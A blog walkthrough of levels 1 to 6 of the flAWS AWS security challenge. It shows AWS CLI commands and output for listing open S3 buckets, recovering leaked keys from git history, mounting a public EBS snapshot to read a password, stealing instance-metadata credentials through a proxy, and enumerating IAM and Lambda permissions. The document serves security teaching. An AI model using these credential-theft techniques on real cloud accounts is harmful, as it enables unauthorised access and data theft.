A walk outside the sandbox

Home Blog Cheat Sheets MacOS Tips Area 51 About

flAWS - Part 1



flAWS - Part 1 is a set of CTF-like challenges that teach you common security issues related with AWS. This post is a walkthrough for these challenges. It’s basically a writeup on how to solve levels 1 to 6, and includes my notes and commands that helped me learn.

Each one of the challenges is followed by a brief explanation of a vulnerable AWS configuration that lead to the flaw and how to mitigate it. Before reading any further, go here and try them for yourself first!

For the writeups and notes to the other flAWS challenges:

Before starting, I wanted to say a huge thank you to the creator of these games, Scott Piper of summitroute for the effort of designing, hosting and making them available for free for everyone! All the levels are highly educative and recommended for anyone interested in AWS security.

Level 1

This level is *buckets* of fun. See if you can find the first sub-domain.

A bit of reconnaissance first:

~ dig +nocmd

~ nslookup

Non-authoritative answer:	name =

We now know the region and the full URL. Let’s try to connect again:

~ aws s3 ls  s3:// --no-sign-request --region us-west-2
2017-03-14 03:00:38       2575 hint1.html
2017-03-03 04:05:17       1707 hint2.html
2017-03-03 04:05:11       1101 hint3.html
2018-07-10 17:47:16       3082 index.html
2018-07-10 17:47:16      15979 logo.png
2017-02-27 01:59:28         46 robots.txt
2017-02-27 01:59:30       1051 secret-dd02c7c.html

Download the secret HTML file and you’ll get to level 2:

~ aws s3 cp  s3:// . --no-sign-request

Level 2

The next level is fairly similar, with a slight twist. You're going to need your own AWS account for this. You just need the free tier

First we need to create a new user and generate an Access Key ID and a Secret Access Key. Go here to do that.

Note that setting the correct permissions for the user is very important. The new user would need at least Read permissions in order to read other buckets! To be sure, set it to AmazonS3FullAccess. The logic of evaluating permissions for bucket operations is described here.

There is no access initially with an unauthenticated user:

~ aws s3 ls s3://
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

Configure the new profile:

~ aws configure --profile liv-test
AWS Access Key ID [None]: AKIA3AKED...
AWS Secret Access Key [None]: v44hSt...
Default region name [None]:
Default output format [None]:

~ aws configure list --profile liv-test
      Name                    Value             Type    Location
      ----                    -----             ----    --------
   profile                 liv-test           manual    --profile
access_key     ****************OBIT shared-credentials-file
secret_key     ****************S41s shared-credentials-file
    region                <not set>             None    None

Try listing the bucket now:

~ aws s3  --profile liv-test ls s3://
2017-02-27 02:02:15      80751 everyone.png
2017-03-03 03:47:17       1433 hint1.html
2017-02-27 02:04:39       1035 hint2.html
2017-02-27 02:02:14       2786 index.html
2017-02-27 02:02:14         26 robots.txt
2017-02-27 02:02:15       1051 secret-e4443fc.html

And download the secret HTML file:

~ aws s3  --profile liv-test cp s3:// .
download: s3:// to ./secret-e4443fc.html

~ cat ./secret-e4443fc.html

Level 3

The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are.

First let’s look around without authentication:

~ aws s3 ls s3:// --no-sign-request
                           PRE .git/
2017-02-27 00:14:33     123637 authenticated_users.png
2017-02-27 00:14:34       1552 hint1.html
2017-02-27 00:14:34       1426 hint2.html
2017-02-27 00:14:35       1247 hint3.html
2017-02-27 00:14:33       1035 hint4.html
2017-02-27 02:05:16       1703 index.html
2017-02-27 00:14:33         26 robots.txt

There’s a .git folder. Download the whole bucket to examine it:

~ aws s3 sync s3:// . --no-sign-request
The CLI command sync syncs directories and S3 prefixes. Note that it will recursively copy new and updated files from the source directory to the destination.

Check the commit history:

~ git log
Commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

An interesting file is mentioned at this revision. Let’s find out what this is about:

~ git show --pretty="" --name-only b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526

The first commit shows the access keys being committed:

~ git show --pretty="" --name-only f52ec03b227ea6094b04e43f475fb0126edb5a61

We can view the keys file at the previous revision:

~ git show f52ec03b227ea6094b04e43f475fb0126edb5a61:access_keys.txt
access_key AKIAJ3...
secret_access_key OdNa7m+bqU...

Or we could checkout the whole repo at that secific revision:

~ git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
The CLI command ls lists S3 objects and common prefixes under a prefix or all S3 buckets

Create a new profile with the keys retrieved from the repository:

~ aws configure  --profile level-3
AWS Access Key ID [None]: AKIAJ3...
AWS Secret Access Key [None]: OdNa7m+bqU...
Default region name [None]:
Default output format [None]:

List all the buckets accessible to the profile:

~ aws s3 --profile level-3 ls
2017-02-12 21:31:07
2017-05-29 17:34:53 config-bucket-975426262029
2017-02-12 20:03:24 flaws-logs
2017-02-05 03:40:07
2017-02-24 01:54:13
2017-02-26 18:15:44
2017-02-26 18:16:06
2017-02-26 19:44:51
2017-02-26 19:47:58
2017-02-26 20:06:32

And there’s the link to level 4 :)

Level 4

For the next level, you need to get access to the web page running on an EC2 at
It'll be useful to know that a snapshot was made of that EC2 shortly after nginx was setup on it.

Get the account ID using the keys from the previous level:

~ aws --profile level-3 sts get-caller-identity
    "Account": "975426262029",
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Arn": "arn:aws:iam::975426262029:user/backup"

By default snapshots are private, and you can transfer them between accounts securely by specifying the account ID of the other account, but a number of people just make them public and forget about them.

View all the snapshots of this owner ID:

~ aws --profile level-3 ec2 describe-snapshots --owner-id 975426262029
You must specify a region. You can also configure your region by running "aws configure".	

But from level 1 we know the region is us-west-2.

~ aws --profile level-3 ec2 describe-snapshots --owner-id 975426262029  --region us-west-2
    "Snapshots": [
            "Description": "",
            "Tags": [
                    "Value": "flaws backup 2017.02.27",
                    "Key": "Name"
            "Encrypted": false,
            "VolumeId": "vol-04f1c039bc13ea950",
            "State": "completed",
            "VolumeSize": 8,
            "StartTime": "2017-02-28T01:35:12.000Z",
            "Progress": "100%",
            "OwnerId": "975426262029",
            "SnapshotId": "snap-0b49342abd1bdcb89"

Check the permissions of this snapshot:

~ aws ec2 describe-snapshot-attribute --snapshot-id snap-0b49342abd1bdcb89 --attribute createVolumePermission --profile level-3 --region us-west-2
    "SnapshotId": "snap-0b49342abd1bdcb89",
    "CreateVolumePermissions": [
            "Group": "all"

Looks like anyone can create a volume based on this snapshot. Let’s do that.

Note that for this to work, I had to set up AmazonEC2FullAccess permission for the user. Less permissive settings would have probably worked as well and would be recommended.
~ aws ec2 --profile liv-test create-volume --region us-west-2 --availability-zone us-west-2a --snapshot-id snap-0b49342abd1bdcb89
    "AvailabilityZone": "us-west-2a",
    "Tags": [],
    "Encrypted": false,
    "VolumeType": "gp2",
    "VolumeId": "vol-02443eed3b8bd99d7",
    "State": "creating",
    "Iops": 100,
    "SnapshotId": "snap-0b49342abd1bdcb89",
    "CreateTime": "2019-11-02T09:36:49.000Z",
    "Size": 8

We can list public IP addresses of all EC2 instances for a profile. This could be handy later:

~ aws ec2 describe-instances  --query "Reservations[*].Instances[*].PublicIpAddress" --output=text --profile level-3 --region us-west-2

Next mount the snapshot above in our own AWS account:

  • Create a new Ubuntu instance
  • Download the private SSH key
  • In the storage options select the volume just created
  • Login to the instance.
Tot avoid the snapshotId can only be modified on EBS devices error when attaching the volume, search by snapshot id (snap-0b49342abd1bdcb89) and use an available AWS recommended device name like /dev/sdf. AWS recommended device names for attaching EBS volumes are/dev/sd[f-p].

SSH into the newly created instance:

~ ssh -i ~/Ubuntu-ec2-key.pem
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-1051-aws x86_64)

Next, list all the block devices:

$ lsblk
xvda    202:0    0   8G  0 disk
└─xvda1 202:1    0   8G  0 part
xvdf    202:80   0   8G  0 disk
└─xvdf1 202:81   0   8G  0 part /

In this case notice the snapshot has already been mounted at /. If not, we would have to do it manually, for example using:

~ sudo mkdir /mnt/flaws
~ sudo mount /dev/xvdf1 /mnt/flaws

This challenge was to bypass the HTTP Basic Authentication. Let’s check where is the password hash:

$ cat /etc/nginx/.htpasswd

After more poking around, there’s an interesting script in the ubuntu user’s home folder:

~ cat /home/ubuntu/
htpasswd -b /etc/nginx/.htpasswd flaws nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M

So we have the username and password for the next level: flaws - nCP8xigdjpjyiXgJ7nJu7rw5Ro68iE8M.

Level 5

This EC2 has a simple HTTP only proxy on it. Here are some examples of it's usage:

See if you can use this proxy to figure out how to list the contents of the level6 bucket at that has a hidden directory in it.

There is a vey valuable hint: instance metadata can be accessed via the IP address. This can be used for example to retrieve security credentials:

~ curl
  "Code" : "Success",
  "LastUpdated" : "2019-11-02T11:09:21Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA6GG...",
  "SecretAccessKey" : "dhBep...",
  "Token" : "AgoJb3...",
  "Expiration" : "2019-11-02T17:11:48Z"

We’ll create a new profile with the AccessKeyId and SecretAccessKey and access the level-6 bucket. Note that we also need to add the Token to the ~/.aws/credentials file like this:

aws_access_key_id = ASIA6GG...
aws_secret_access_key = dhBep...
aws_session_token = AgoJb3...

Now we can successfully list the content of the bucket:

~ aws --profile level-5 s3 ls
                           PRE ddcc78ff/
2017-02-27 02:11:07        871 index.html

So the hidden folder linking to level 6 is ddcc78ff:

~ aws --profile level-5 s3 ls
2017-03-03 04:36:23       2463 hint1.html
2017-03-03 04:36:23       2080 hint2.html
2017-03-03 04:36:25       2782 index.html

Level 6

For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account.
Secret: S2IpymMBlViDlqcAnFuZfkVjXrYxZYhP+dZ4ps+u

So for this level we’re getting a user access key that has the SecurityAudit policy attached to it:

Get the username of this profile:

~ aws --profile level-6 iam get-user
    "User": {
        "UserName": "Level6",
        "Path": "/",
        "CreateDate": "2017-02-26T23:11:16Z",
        "Arn": "arn:aws:iam::975426262029:user/Level6"

List all policies attached to the user:

~ aws --profile level-6 iam list-attached-user-policies --user-name Level6
    "AttachedPolicies": [
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"

Notice that the first policy is a custom one. To find out details about it we’ll use its ARN (Amazon Resource Name). First get its version:

~ aws --profile level-6 iam get-policy  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways
    "Policy": {
        "PolicyName": "list_apigateways",
        "Description": "List apigateways",
        "PermissionsBoundaryUsageCount": 0,
        "CreateDate": "2017-02-20T01:45:17Z",
        "AttachmentCount": 1,
        "IsAttachable": true,
        "DefaultVersionId": "v4",
        "Path": "/",
        "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
        "UpdateDate": "2017-02-20T01:48:17Z"

Then get details about this specific version:

~ aws --profile level-6 iam get-policy-version  --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4
    "PolicyVersion": {
        "CreateDate": "2017-02-20T01:48:17Z",
        "VersionId": "v4",
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                    "Action": [
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*",
                    "Effect": "Allow"
        "IsDefaultVersion": true

Following the second hint, we can list all the lambda functions that can be called by this profile:

~ aws --region us-west-2 --profile level-6 lambda list-functions

    "Functions": [
            "TracingConfig": {
                "Mode": "PassThrough"
            "Version": "$LATEST",
            "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
            "FunctionName": "Level6",
            "MemorySize": 128,
            "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89",
            "CodeSize": 282,
            "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Handler": "lambda_function.lambda_handler",
            "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
            "Timeout": 3,
            "LastModified": "2017-02-27T00:24:36.054+0000",
            "Runtime": "python2.7",
            "Description": "A starter AWS Lambda function."

There is a function named Level6. Let’s get the policy for this function:

~ aws --region us-west-2 --profile level-6 lambda get-policy --function-name Level6

    "Policy": "{\"Version\":\"2012-10-17\",\"Id\":\"default\",\"Statement\":[{\"Sid\":\"904610a93f593b76ad66ed6ed82c0a8b\",\"Effect\":\"Allow\",\"Principal\":{\"Service\":\"\"},\"Action\":\"lambda:InvokeFunction\",\"Resource\":\"arn:aws:lambda:us-west-2:975426262029:function:Level6\",\"Condition\":{\"ArnLike\":{\"AWS:SourceArn\":\"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6\"}}}]}",
    "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"

If beautified a little, it looks like this:

    "Policy": {
        "Version": "2012-10-17",
        "Id": "default",
        "Statement": [{
            "Sid": "904610a93f593b76ad66ed6ed82c0a8b",
            "Effect": "Allow",
            "Principal": {
                "Service": ""
            "Action": "lambda:InvokeFunction",
            "Resource": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Condition": {
                "ArnLike": {
                    "AWS:SourceArn": "arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6"
    "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"

This means we can execute arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6. s33ppypa75 is a rest-api-id, which we can then use with that other attached policy:

~ aws --profile level-6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"

    "item": [
            "tracingEnabled": false,
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "deploymentId": "8gppiv",
            "lastUpdatedDate": 1488155168,
            "createdDate": 1488155168,
            "methodSettings": {}

Lambda functions are called using that rest-api-id, stage name, region, and resource:

Which then leads to

This was a very good lesson about lambda functions!